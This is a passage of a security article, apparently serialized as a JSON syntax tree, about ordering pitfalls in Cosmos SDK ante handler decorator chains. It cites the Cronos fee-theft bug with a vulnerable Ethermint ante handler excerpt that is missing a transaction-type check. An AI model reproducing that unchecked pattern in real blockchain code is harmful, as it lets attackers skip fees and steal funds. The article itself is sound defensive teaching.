NewValidateMemoDecorator",{"type":22,"tag":118,"props":80962,"children":80963},{"style":125},[80964],{"type":28,"value":540},{"type":22,"tag":118,"props":80966,"children":80967},{"style":204},[80968],{"type":28,"value":37979},{"type":22,"tag":118,"props":80970,"children":80971},{"style":125},[80972],{"type":28,"value":292},{"type":22,"tag":118,"props":80974,"children":80975},{"style":204},[80976],{"type":28,"value":80977},"AccountKeeper",{"type":22,"tag":118,"props":80979,"children":80980},{"style":125},[80981],{"type":28,"value":3853},{"type":22,"tag":118,"props":80983,"children":80984},{"class":120,"line":318},[80985,80990,80994,80998,81002,81006],{"type":22,"tag":118,"props":80986,"children":80987},{"style":532},[80988],{"type":28,"value":80989},"    NewConsumeGasForTxSizeDecorator",{"type":22,"tag":118,"props":80991,"children":80992},{"style":125},[80993],{"type":28,"value":540},{"type":22,"tag":118,"props":80995,"children":80996},{"style":204},[80997],{"type":28,"value":37979},{"type":22,"tag":118,"props":80999,"children":81000},{"style":125},[81001],{"type":28,"value":292},{"type":22,"tag":118,"props":81003,"children":81004},{"style":204},[81005],{"type":28,"value":80977},{"type":22,"tag":118,"props":81007,"children":81008},{"style":125},[81009],{"type":28,"value":3853},{"type":22,"tag":118,"props":81011,"children":81012},{"class":120,"line":351},[81013,81018,81022,81026,81030,81034,81038,81042,81046,81051,81055,81059,81063,81068,81072,81076,81080,81085],{"type":22,"tag":118,"props":81014,"children":81015},{"style":532},[81016],{"type":28,"value":81017},"    NewDeductFeeDecorator",{"type":22,"tag":118,"props":81019,"children":81020},{"style":125},[81021],{"type":28,"value":540},{"type":22,"tag":118,"props":81023,"children":81024},{"style":204},[81025],{"type":28,"value":37979},{"type":22,"tag":118,"props":81027,"children":81028},{"style":125},[81029],{"type":28,"value":292},{"type":22,"tag":118,"props":81031,"children":81032},{"style":204},[81033],{"type":28,"value":80977},{"type":22,"tag":118,"props":81035,"children":81036},{"style":125},[81037],{"type":28,"value":231},{"type":22,"tag":118,"props":81039,"children":81040},{"style":204},[81041],{"type":28,"value":37979},{"type":22,"tag":118,"props":81043,"children":81044},{"style":125},[81045],{"type":28,"value":292},{"type":22,"tag":118,"props":81047,"children":81048},{"style":204},[81049],{"type":28,"value":81050},"BankKeeper",{"type":22,"tag":118,"props":81052,"children":81053},{"style":125},[81054],{"type":28,"value":231},{"type":22,"tag":118,"props":81056,"children":81057},{"style":204},[81058],{"type":28,"value":37979},{"type":22,"tag":118,"props":81060,"children":81061},{"style":125},[81062],{"type":28,"value":292},{"type":22,"tag":118,"props":81064,"children":81065},{"style":204},[81066],{"type":28,"value":81067},"FeegrantKeeper",{"type":22,"tag":118,"props":81069,"children":81070},{"style":125},[81071],{"type":28,"value":231},{"type":22,"tag":118,"props":81073,"children":81074},{"style":204},[81075],{"type":28,"value":37979},{"type":22,"tag":118,"props":81077,"children":81078},{"style":125},[81079],{"type":28,"value":292},{"type":22,"tag":118,"props":81081,"children":81082},{"style":204},[81083],{"type":28,"value":81084},"TxFeeChecker",{"type":22,"tag":118,"props":81086,"children":81087},{"style":125},[81088],{"type":28,"value":3853},{"type":22,"tag":118,"props":81090,"children":81091},{"class":120,"line":359},[81092,81097,81101,81105,81109,81113,81117],{"type":22,"tag":118,"props":81093,"children":81094},{"style":532},[81095],{"type":28,"value":81096},"    NewSetPubKeyDecorator",{"type":22,"tag":118,"props":81098,"children":81099},{"style":125},[81100],{"type":28,"value":540},{"type":22,"tag":118,"props":81102,"children":81103},{"style":204},[81104],{"type":28,"value":37979},{"type":22,"tag":118,"props":81106,"children":81107},{"style":125},[81108],{"type":28,"value":292},{"type":22,"tag":118,"props":81110,"children":81111},{"style":204},[81112],{"type":28,"value":80977},{"type":22,"tag":118,"props":81114,"children":81115},{"style":125},[81116],{"type":28,"value":17153},{"type":22,"tag":118,"props":81118,"children":81119},{"style":257},[81120],{"type":28,"value":81121},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":22,"tag":118,"props":81123,"children":81124},{"class":120,"line":368},[81125,81130,81134,81138,81142,81146],{"type":22,"tag":118,"props":81126,"children":81127},{"style":532},[81128],{"type":28,"value":81129},"    NewValidateSigCountDecorator",{"type":22,"tag":118,"props":81131,"children":81132},{"style":125},[81133],{"type":28,"value":540},{"type":22,"tag":118,"props":81135,"children":81136},{"style":204},[81137],{"type":28,"value":37979},{"type":22,"tag":118,"props":81139,"children":81140},{"style":125},[81141],{"type":28,"value":292},{"type":22,"tag":118,"props":81143,"children":81144},{"style":204},[81145],{"type":28,"value":80977},{"type":22,"tag":118,"props":81147,"children":81148},{"style":125},[81149],{"type":28,"value":3853},{"type":22,"tag":118,"props":81151,"children":81152},{"class":120,"line":384},[81153,81158,81162,81166,81170,81174,81178,81182,81186,81191],{"type":22,"tag":118,"props":81154,"children":81155},{"style":532},[81156],{"type":28,"value":81157},"    NewSigGasConsumeDecorator",{"type":22,"tag":118,"props":81159,"children":81160},{"style":125},[81161],{"type":28,"value":540},{"type":22,"tag":118,"props":81163,"children":81164},{"style":204},[81165],{"type":28,"value":37979},{"type":22,"tag":118,"props":81167,"children":81168},{"style":125},[81169],{"type":28,"value":292},{"type":22,"tag":118,"props":81171,"children":81172},{"style":204},[81173],{"type":28,"value":80977},{"type":22,"tag":118,"props":81175,"children":81176},{"style":125},[81177],{"type":28,"value":231},{"type":22,"tag":118,"props":81179,"children":81180},{"style":204},[81181],{"type":28,"value":37979},{"type":22,"tag":118,"props":81183,"children":81184},{"style":125},[81185],{"type":28,"value":292},{"type":22,"tag":118,"props":81187,"children":81188},{"style":204},[81189],{"type":28,"value":81190},"SigGasConsumer",{"type":22,"tag":118,"props":81192,"children":81193},{"style":125},[81194],{"type":28,"value":3853},{"type":22,"tag":118,"props":81196,"children":81197},{"class":120,"line":417},[81198,81203,81207,81211,81215,81219,81223,81227,81231,81236],{"type":22,"tag":118,"props":81199,"children":81200},{"style":532},[81201],{"type":28,"value":81202},"    NewSigVerificationDecorator",{"type":22,"tag":118,"props":81204,"children":81205},{"style":125},[81206],{"type":28,"value":540},{"type":22,"tag":118,"props":81208,"children":81209},{"style":204},[81210],{"type":28,"value":37979},{"type":22,"tag":118,"props":81212,"children":81213},{"style":125},[81214],{"type":28,"value":292},{"type":22,"tag":118,"props":81216,"children":81217},{"style":204},[81218],{"type":28,"value":80977},{"type":22,"tag":118,"props":81220,"children":81221},{"style":125},[81222],{"type":28,"value":231},{"type":22,"tag":118,"props":81224,"children":81225},{"style":204},[81226],{"type":28,"value":37979},{"type":22,"tag":118,"props":81228,"children":81229},{"style":125},[81230],{"type":28,"value":292},{"type":22,"tag":118,"props":81232,"children":81233},{"style":204},[81234],{"type":28,"value":81235},"SignModeHandler",{"type":22,"tag":118,"props":81237,"children":81238},{"style":125},[81239],{"type":28,"value":3853},{"type":22,"tag":118,"props":81241,"children":81242},{"class":120,"line":425},[81243,81248,81252,81256,81260,81264],{"type":22,"tag":118,"props":81244,"children":81245},{"style":532},[81246],{"type":28,"value":81247},"    NewIncrementSequenceDecorator",{"type":22,"tag":118,"props":81249,"children":81250},{"style":125},[81251],{"type":28,"value":540},{"type":22,"tag":118,"props":81253,"children":81254},{"style":204},[81255],{"type":28,"value":37979},{"type":22,"tag":118,"props":81257,"children":81258},{"style":125},[81259],{"type":28,"value":292},{"type":22,"tag":118,"props":81261,"children":81262},{"style":204},[81263],{"type":28,"value":80977},{"type":22,"tag":118,"props":81265,"children":81266},{"style":125},[81267],{"type":28,"value":3853},{"type":22,"tag":118,"props":81269,"children":81270},{"class":120,"line":441},[81271],{"type":22,"tag":118,"props":81272,"children":81273},{"style":125},[81274],{"type":28,"value":481},{"type":22,"tag":31,"props":81276,"children":81277},{},[81278,81280,81285,81287,81293,81294,81300],{"type":28,"value":81279},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":22,"tag":114,"props":81281,"children":81283},{"className":81282},[],[81284],{"type":28,"value":80815},{"type":28,"value":81286},", such as ",{"type":22,"tag":114,"props":81288,"children":81290},{"className":81289},[],[81291],{"type":28,"value":81292},"SigGasConsumeDecorator",{"type":28,"value":12991},{"type":22,"tag":114,"props":81295,"children":81297},{"className":81296},[],[81298],{"type":28,"value":81299},"ConsumeGasForTxSizeDecorator",{"type":28,"value":81301},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":22,"tag":31,"props":81303,"children":81304},{},[81305,81307,81313,81315,81320],{"type":28,"value":81306},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":22,"tag":114,"props":81308,"children":81310},{"className":81309},[],[81311],{"type":28,"value":81312},"msgs",{"type":28,"value":81314}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":22,"tag":114,"props":81316,"children":81318},{"className":81317},[],[81319],{"type":28,"value":80141},{"type":28,"value":81321}," chain.",{"type":22,"tag":1289,"props":81323,"children":81325},{"id":81324},"real-world-examples-2",[81326],{"type":28,"value":78285},{"type":22,"tag":31,"props":81328,"children":81329},{},[81330,81332,81337,81339,81346],{"type":28,"value":81331},"An instance of ",{"type":22,"tag":114,"props":81333,"children":81335},{"className":81334},[],[81336],{"type":28,"value":80066},{"type":28,"value":81338}," misuse is a ",{"type":22,"tag":42,"props":81340,"children":81343},{"href":81341,"rel":81342},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[46],[81344],{"type":28,"value":81345},"Theft of Fund bug",{"type":28,"value":81347}," that was exploited in a Cronos contract.",{"type":22,"tag":31,"props":81349,"children":81350},{},[81351,81353,81358,81360,81365,81367,81373,81375,81381,81383,81388,81390,81395],{"type":28,"value":81352},"In this scenario, ",{"type":22,"tag":114,"props":81354,"children":81356},{"className":81355},[],[81357],{"type":28,"value":81312},{"type":28,"value":81359}," are multiplexed to different ",{"type":22,"tag":114,"props":81361,"children":81363},{"className":81362},[],[81364],{"type":28,"value":80066},{"type":28,"value":81366}," sets through the user-controlled ",{"type":22,"tag":114,"props":81368,"children":81370},{"className":81369},[],[81371],{"type":28,"value":81372},"ExtensionOptionsEthereumTx",{"type":28,"value":81374}," option. However, due to a lack of tx validation, if a ",{"type":22,"tag":114,"props":81376,"children":81378},{"className":81377},[],[81379],{"type":28,"value":81380},"MsgEthereumTx",{"type":28,"value":81382}," does not have ",{"type":22,"tag":114,"props":81384,"children":81386},{"className":81385},[],[81387],{"type":28,"value":81372},{"type":28,"value":81389}," specified, it will be routed to non-Ethereum ",{"type":22,"tag":114,"props":81391,"children":81393},{"className":81392},[],[81394],{"type":28,"value":80815},{"type":28,"value":81396},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":22,"tag":31,"props":81398,"children":81399},{},[81400],{"type":22,"tag":42,"props":81401,"children":81404},{"href":81402,"rel":81403},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[46],[81405],{"type":28,"value":78335},{"type":22,"tag":107,"props":81407,"children":81409},{"code":81408,"language":77760,"meta":7,"className":77761,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[81410],{"type":22,"tag":114,"props":81411,"children":81412},{"__ignoreMap":7},[81413,81429,81454,81478,81495,81520,81546,81571,81594,81610,81666,81707,81733,81740,81786,81793,81839,81855,81885,81920,81972,81989,81997,82004,82033,82049,82057,82083,82091,82098,82110,82144,82190,82202,82209,82216,82223,82262,82269,82276,82283,82291,82298,82322,82346,82374,82399,82407,82440,82447,82459,82490,82545,82558,82566,82574,82582,82622,82630],{"type":22,"tag":118,"props":81414,"children":81415},{"class":120,"line":121},[81416,81420,81425],{"type":22,"tag":118,"props":81417,"children":81418},{"style":146},[81419],{"type":28,"value":77896},{"type":22,"tag":118,"props":81421,"children":81422},{"style":532},[81423],{"type":28,"value":81424}," NewAnteHandler",{"type":22,"tag":118,"props":81426,"children":81427},{"style":125},[81428],{"type":28,"value":696},{"type":22,"tag":118,"props":81430,"children":81431},{"class":120,"line":142},[81432,81437,81442,81446,81450],{"type":22,"tag":118,"props":81433,"children":81434},{"style":204},[81435],{"type":28,"value":81436},"    ak",{"type":22,"tag":118,"props":81438,"children":81439},{"style":131},[81440],{"type":28,"value":81441}," evmtypes",{"type":22,"tag":118,"props":81443,"children":81444},{"style":125},[81445],{"type":28,"value":292},{"type":22,"tag":118,"props":81447,"children":81448},{"style":131},[81449],{"type":28,"value":80977},{"type":22,"tag":118,"props":81451,"children":81452},{"style":125},[81453],{"type":28,"value":782},{"type":22,"tag":118,"props":81455,"children":81456},{"class":120,"line":177},[81457,81462,81466,81470,81474],{"type":22,"tag":118,"props":81458,"children":81459},{"style":204},[81460],{"type":28,"value":81461},"    bankKeeper",{"type":22,"tag":118,"props":81463,"children":81464},{"style":131},[81465],{"type":28,"value":81441},{"type":22,"tag":118,"props":81467,"children":81468},{"style":125},[81469],{"type":28,"value":292},{"type":22,"tag":118,"props":81471,"children":81472},{"style":131},[81473],{"type":28,"value":81050},{"type":22,"tag":118,"props":81475,"children":81476},{"style":125},[81477],{"type":28,"value":782},{"type":22,"tag":118,"props":81479,"children":81480},{"class":120,"line":195},[81481,81486,81491],{"type":22,"tag":118,"props":81482,"children":81483},{"style":204},[81484],{"type":28,"value":81485},"    evmKeeper",{"type":22,"tag":118,"props":81487,"children":81488},{"style":131},[81489],{"type":28,"value":81490}," EVMKeeper",{"type":22,"tag":118,"props":81492,"children":81493},{"style":125},[81494],{"type":28,"value":782},{"type":22,"tag":118,"props":81496,"children":81497},{"class":120,"line":244},[81498,81503,81508,81512,81516],{"type":22,"tag":118,"props":81499,"children":81500},{"style":204},[81501],{"type":28,"value":81502},"    feeGrantKeeper",{"type":22,"tag":118,"props":81504,"children":81505},{"style":131},[81506],{"type":28,"value":81507}," authante",{"type":22,"tag":118,"props":81509,"children":81510},{"style":125},[81511],{"type":28,"value":292},{"type":22,"tag":118,"props":81513,"children":81514},{"style":131},[81515],{"type":28,"value":81067},{"type":22,"tag":118,"props":81517,"children":81518},{"style":125},[81519],{"type":28,"value":782},{"type":22,"tag":118,"props":81521,"children":81522},{"class":120,"line":253},[81523,81528,81533,81537,81542],{"type":22,"tag":118,"props":81524,"children":81525},{"style":204},[81526],{"type":28,"value":81527},"    channelKeeper",{"type":22,"tag":118,"props":81529,"children":81530},{"style":131},[81531],{"type":28,"value":81532}," channelkeeper",{"type":22,"tag":118,"props":81534,"children":81535},{"style":125},[81536],{"type":28,"value":292},{"type":22,"tag":118,"props":81538,"children":81539},{"style":131},[81540],{"type":28,"value":81541},"Keeper",{"type":22,"tag":118,"props":81543,"children":81544},{"style":125},[81545],{"type":28,"value":782},{"type":22,"tag":118,"props":81547,"children":81548},{"class":120,"line":263},[81549,81554,81559,81563,81567],{"type":22,"tag":118,"props":81550,"children":81551},{"style":204},[81552],{"type":28,"value":81553},"    signModeHandler",{"type":22,"tag":118,"props":81555,"children":81556},{"style":131},[81557],{"type":28,"value":81558}," authsigning",{"type":22,"tag":118,"props":81560,"children":81561},{"style":125},[81562],{"type":28,"value":292},{"type":22,"tag":118,"props":81564,"children":81565},{"style":131},[81566],{"type":28,"value":81235},{"type":22,"tag":118,"props":81568,"children":81569},{"style":125},[81570],{"type":28,"value":782},{"type":22,"tag":118,"props":81572,"children":81573},{"class":120,"line":318},[81574,81578,81582,81586,81590],{"type":22,"tag":118,"props":81575,"children":81576},{"style":125},[81577],{"type":28,"value":588},{"type":22,"tag":118,"props":81579,"children":81580},{"style":131},[81581],{"type":28,"value":80326},{"type":22,"tag":118,"props":81583,"children":81584},{"style":125},[81585],{"type":28,"value":292},{"type":22,"tag":118,"props":81587,"children":81588},{"style":131},[81589],{"type":28,"value":80066},{"type":22,"tag":118,"props":81591,"children":81592},{"style":125},[81593],{"type":28,"value":1474},{"type":22,"tag":118,"props":81595,"children":81596},{"class":120,"line":351},[81597,81601,81606],{"type":22,"tag":118,"props":81598,"children":81599},{"style":1480},[81600],{"type":28,"value":18954},{"type":22,"tag":118,"props":81602,"children":81603},{"style":146},[81604],{"type":28,"value":81605}," func",{"type":22,"tag":118,"props":81607,"children":81608},{"style":125},[81609],{"type":28,"value":696},{"type":22,"tag":118,"props":81611,"children":81612},{"class":120,"line":359},[81613,81617,81621,81625,81629,81633,81637,81641,81645,81649,81653,81658,81662],{"type":22,"tag":118,"props":81614,"children":81615},{"style":204},[81616],{"type":28,"value":1034},{"type":22,"tag":118,"props":81618,"children":81619},{"style":131},[81620],{"type":28,"value":80237},{"type":22,"tag":118,"props":81622,"children":81623},{"style":125},[81624],{"type":28,"value":292},{"type":22,"tag":118,"props":81626,"children":81627},{"style":131},[81628],{"type":28,"value":77945},{"type":22,"tag":118,"props":81630,"children":81631},{"style":125},[81632],{"type":28,"value":231},{"type":22,"tag":118,"props":81634,"children":81635},{"style":204},[81636],{"type":28,"value":80777},{"type":22,"tag":118,"props":81638,"children":81639},{"style":131},[81640],{"type":28,"value":80237},{"type":22,"tag":118,"props":81642,"children":81643},{"style":125},[81644],{"type":28,"value":292},{"type":22,"tag":118,"props":81646,"children":81647},{"style":131},[81648],{"type":28,"value":80270},{"type":22,"tag":118,"props":81650,"children":81651},{"style":125},[81652],{"type":28,"value":231},{"type":22,"tag":118,"props":81654,"children":81655},{"style":204},[81656],{"type":28,"value":81657},"sim",{"type":22,"tag":118,"props":81659,"children":81660},{"style":131},[81661],{"type":28,"value":1469},{"type":22,"tag":118,"props":81663,"children":81664},{"style":125},[81665],{"type":28,"value":782},{"type":22,"tag":118,"props":81667,"children":81668},{"class":120,"line":368},[81669,81674,81679,81683,81687,81691,81695,81699,81703],{"type":22,"tag":118,"props":81670,"children":81671},{"style":125},[81672],{"type":28,"value":81673},"    ) (",{"type":22,"tag":118,"props":81675,"children":81676},{"style":204},[81677],{"type":28,"value":81678},"newCtx",{"type":22,"tag":118,"props":81680,"children":81681},{"style":131},[81682],{"type":28,"value":80237},{"type":22,"tag":118,"props":81684,"children":81685},{"style":125},[81686],{"type":28,"value":292},{"type":22,"tag":118,"props":81688,"children":81689},{"style":131},[81690],{"type":28,"value":77945},{"type":22,"tag":118,"props":81692,"children":81693},{"style":125},[81694],{"type":28,"value":231},{"type":22,"tag":118,"props":81696,"children":81697},{"style":204},[81698],{"type":28,"value":50360},{"type":22,"tag":118,"props":81700,"children":81701},{"style":131},[81702],{"type":28,"value":16854},{"type":22,"tag":118,"props":81704,"children":81705},{"style":125},[81706],{"type":28,"value":16783},{"type":22,"tag":118,"props":81708,"children":81709},{"class":120,"line":384},[81710,81715,81720,81724,81728],{"type":22,"tag":118,"props":81711,"children":81712},{"style":146},[81713],{"type":28,"value":81714},"        var",{"type":22,"tag":118,"props":81716,"children":81717},{"style":204},[81718],{"type":28,"value":81719}," anteHandler",{"type":22,"tag":118,"props":81721,"children":81722},{"style":131},[81723],{"type":28,"value":80237},{"type":22,"tag":118,"props":81725,"children":81726},{"style":125},[81727],{"type":28,"value":292},{"type":22,"tag":118,"props":81729,"children":81730},{"style":131},[81731],{"type":28,"value":81732},"AnteHandler\n",{"type":22,"tag":118,"props":81734,"children":81735},{"class":120,"line":417},[81736],{"type":22,"tag":118,"props":81737,"children":81738},{"emptyLinePlaceholder":15},[81739],{"type":28,"value":250},{"type":22,"tag":118,"props":81741,"children":81742},{"class":120,"line":425},[81743,81748,81753,81757,81761,81765,81770,81774,81778,81782],{"type":22,"tag":118,"props":81744,"children":81745},{"style":1480},[81746],{"type":28,"value":81747},"        defer",{"type":22,"tag":118,"props":81749,"children":81750},{"style":532},[81751],{"type":28,"value":81752}," Recover",{"type":22,"tag":118,"props":81754,"children":81755},{"style":125},[81756],{"type":28,"value":540},{"type":22,"tag":118,"props":81758,"children":81759},{"style":204},[81760],{"type":28,"value":545},{"type":22,"tag":118,"props":81762,"children":81763},{"style":125},[81764],{"type":28,"value":292},{"type":22,"tag":118,"props":81766,"children":81767},{"style":532},[81768],{"type":28,"value":81769},"Logger",{"type":22,"tag":118,"props":81771,"children":81772},{"style":125},[81773],{"type":28,"value":20341},{"type":22,"tag":118,"props":81775,"children":81776},{"style":210},[81777],{"type":28,"value":1407},{"type":22,"tag":118,"props":81779,"children":81780},{"style":204},[81781],{"type":28,"value":50360},{"type":22,"tag":118,"props":81783,"children":81784},{"style":125},[81785],{"type":28,"value":3665},{"type":22,"tag":118,"props":81787,"children":81788},{"class":120,"line":441},[81789],{"type":22,"tag":118,"props":81790,"children":81791},{"emptyLinePlaceholder":15},[81792],{"type":28,"value":250},{"type":22,"tag":118,"props":81794,"children":81795},{"class":120,"line":475},[81796,81801,81805,81809,81813,81817,81821,81826,81830,81835],{"type":22,"tag":118,"props":81797,"children":81798},{"style":204},[81799],{"type":28,"value":81800},"        txWithExtensions",{"type":22,"tag":118,"props":81802,"children":81803},{"style":125},[81804],{"type":28,"value":231},{"type":22,"tag":118,"props":81806,"children":81807},{"style":204},[81808],{"type":28,"value":80363},{"type":22,"tag":118,"props":81810,"children":81811},{"style":210},[81812],{"type":28,"value":78012},{"type":22,"tag":118,"props":81814,"children":81815},{"style":204},[81816],{"type":28,"value":69968},{"type":22,"tag":118,"props":81818,"children":81819},{"style":125},[81820],{"type":28,"value":80376},{"type":22,"tag":118,"props":81822,"children":81823},{"style":131},[81824],{"type":28,"value":81825},"authante",{"type":22,"tag":118,"props":81827,"children":81828},{"style":125},[81829],{"type":28,"value":292},{"type":22,"tag":118,"props":81831,"children":81832},{"style":131},[81833],{"type":28,"value":81834},"HasExtensionOptionsTx",{"type":22,"tag":118,"props":81836,"children":81837},{"style":125},[81838],{"type":28,"value":3665},{"type":22,"tag":118,"props":81840,"children":81841},{"class":120,"line":484},[81842,81846,81851],{"type":22,"tag":118,"props":81843,"children":81844},{"style":1480},[81845],{"type":28,"value":5293},{"type":22,"tag":118,"props":81847,"children":81848},{"style":204},[81849],{"type":28,"value":81850}," ok",{"type":22,"tag":118,"props":81852,"children":81853},{"style":125},[81854],{"type":28,"value":1474},{"type":22,"tag":118,"props":81856,"children":81857},{"class":120,"line":492},[81858,81863,81867,81872,81876,81881],{"type":22,"tag":118,"props":81859,"children":81860},{"style":204},[81861],{"type":28,"value":81862},"            opts",{"type":22,"tag":118,"props":81864,"children":81865},{"style":210},[81866],{"type":28,"value":78012},{"type":22,"tag":118,"props":81868,"children":81869},{"style":204},[81870],{"type":28,"value":81871}," txWithExtensions",{"type":22,"tag":118,"props":81873,"children":81874},{"style":125},[81875],{"type":28,"value":292},{"type":22,"tag":118,"props":81877,"children":81878},{"style":532},[81879],{"type":28,"value":81880},"GetExtensionOptions",{"type":22,"tag":118,"props":81882,"children":81883},{"style":125},[81884],{"type":28,"value":2708},{"type":22,"tag":118,"props":81886,"children":81887},{"class":120,"line":501},[81888,81892,81896,81900,81904,81908,81912,81916],{"type":22,"tag":118,"props":81889,"children":81890},{"style":1480},[81891],{"type":28,"value":60742},{"type":22,"tag":118,"props":81893,"children":81894},{"style":532},[81895],{"type":28,"value":10560},{"type":22,"tag":118,"props":81897,"children":81898},{"style":125},[81899],{"type":28,"value":540},{"type":22,"tag":118,"props":81901,"children":81902},{"style":204},[81903],{"type":28,"value":50502},{"type":22,"tag":118,"props":81905,"children":81906},{"style":125},[81907],{"type":28,"value":588},{"type":22,"tag":118,"props":81909,"children":81910},{"style":210},[81911],{"type":28,"value":12460},{"type":22,"tag":118,"props":81913,"children":81914},{"style":674},[81915],{"type":28,"value":5074},{"type":22,"tag":118,"props":81917,"children":81918},{"style":125},[81919],{"type":28,"value":1474},{"type":22,"tag":118,"props":81921,"children":81922},{"class":120,"line":519},[81923,81928,81933,81937,81942,81946,81950,81954,81959,81963,81968],{"type":22,"tag":118,"props":81924,"children":81925},{"style":1480},[81926],{"type":28,"value":81927},"                switch",{"type":22,"tag":118,"props":81929,"children":81930},{"style":204},[81931],{"type":28,"value":81932}," typeURL",{"type":22,"tag":118,"props":81934,"children":81935},{"style":210},[81936],{"type":28,"value":78012},{"type":22,"tag":118,"props":81938,"children":81939},{"style":204},[81940],{"type":28,"value":81941}," opts",{"type":22,"tag":118,"props":81943,"children":81944},{"style":125},[81945],{"type":28,"value":5746},{"type":22,"tag":118,"props":81947,"children":81948},{"style":674},[81949],{"type":28,"value":6036},{"type":22,"tag":118,"props":81951,"children":81952},{"style":125},[81953],{"type":28,"value":52289},{"type":22,"tag":118,"props":81955,"children":81956},{"style":532},[81957],{"type":28,"value":81958},"GetTypeUrl",{"type":22,"tag":118,"props":81960,"children":81961},{"style":125},[81962],{"type":28,"value":30387},{"type":22,"tag":118,"props":81964,"children":81965},{"style":204},[81966],{"type":28,"value":81967},"typeURL",{"type":22,"tag":118,"props":81969,"children":81970},{"style":125},[81971],{"type":28,"value":1474},{"type":22,"tag":118,"props":81973,"children":81974},{"class":120,"line":606},[81975,81980,81985],{"type":22,"tag":118,"props":81976,"children":81977},{"style":1480},[81978],{"type":28,"value":81979},"                case",{"type":22,"tag":118,"props":81981,"children":81982},{"style":1866},[81983],{"type":28,"value":81984}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":22,"tag":118,"props":81986,"children":81987},{"style":125},[81988],{"type":28,"value":7578},{"type":22,"tag":118,"props":81990,"children":81991},{"class":120,"line":615},[81992],{"type":22,"tag":118,"props":81993,"children":81994},{"style":257},[81995],{"type":28,"value":81996},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":22,"tag":118,"props":81998,"children":81999},{"class":120,"line":685},[82000],{"type":22,"tag":118,"props":82001,"children":82002},{"emptyLinePlaceholder":15},[82003],{"type":28,"value":250},{"type":22,"tag":118,"props":82005,"children":82006},{"class":120,"line":699},[82007,82012,82016,82020,82024,82029],{"type":22,"tag":118,"props":82008,"children":82009},{"style":204},[82010],{"type":28,"value":82011},"                    anteHandler",{"type":22,"tag":118,"props":82013,"children":82014},{"style":210},[82015],{"type":28,"value":837},{"type":22,"tag":118,"props":82017,"children":82018},{"style":204},[82019],{"type":28,"value":80237},{"type":22,"tag":118,"props":82021,"children":82022},{"style":125},[82023],{"type":28,"value":292},{"type":22,"tag":118,"props":82025,"children":82026},{"style":532},[82027],{"type":28,"value":82028},"ChainAnteDecorators",{"type":22,"tag":118,"props":82030,"children":82031},{"style":125},[82032],{"type":28,"value":696},{"type":22,"tag":118,"props":82034,"children":82035},{"class":120,"line":729},[82036,82041,82045],{"type":22,"tag":118,"props":82037,"children":82038},{"style":532},[82039],{"type":28,"value":82040},"                        NewEthSetUpContextDecorator",{"type":22,"tag":118,"props":82042,"children":82043},{"style":125},[82044],{"type":28,"value":20341},{"type":22,"tag":118,"props":82046,"children":82047},{"style":257},[82048],{"type":28,"value":80891},{"type":22,"tag":118,"props":82050,"children":82051},{"class":120,"line":771},[82052],{"type":22,"tag":118,"props":82053,"children":82054},{"style":210},[82055],{"type":28,"value":82056},"                        ...\n",{"type":22,"tag":118,"props":82058,"children":82059},{"class":120,"line":785},[82060,82065,82069,82074,82078],{"type":22,"tag":118,"props":82061,"children":82062},{"style":532},[82063],{"type":28,"value":82064},"                        NewEthIncrementSenderSequenceDecorator",{"type":22,"tag":118,"props":82066,"children":82067},{"style":125},[82068],{"type":28,"value":540},{"type":22,"tag":118,"props":82070,"children":82071},{"style":204},[82072],{"type":28,"value":82073},"ak",{"type":22,"tag":118,"props":82075,"children":82076},{"style":125},[82077],{"type":28,"value":17153},{"type":22,"tag":118,"props":82079,"children":82080},{"style":257},[82081],{"type":28,"value":82082},"// innermost AnteDecorator.\n",{"type":22,"tag":118,"props":82084,"children":82085},{"class":120,"line":804},[82086],{"type":22,"tag":118,"props":82087,"children":82088},{"style":125},[82089],{"type":28,"value":82090},"                    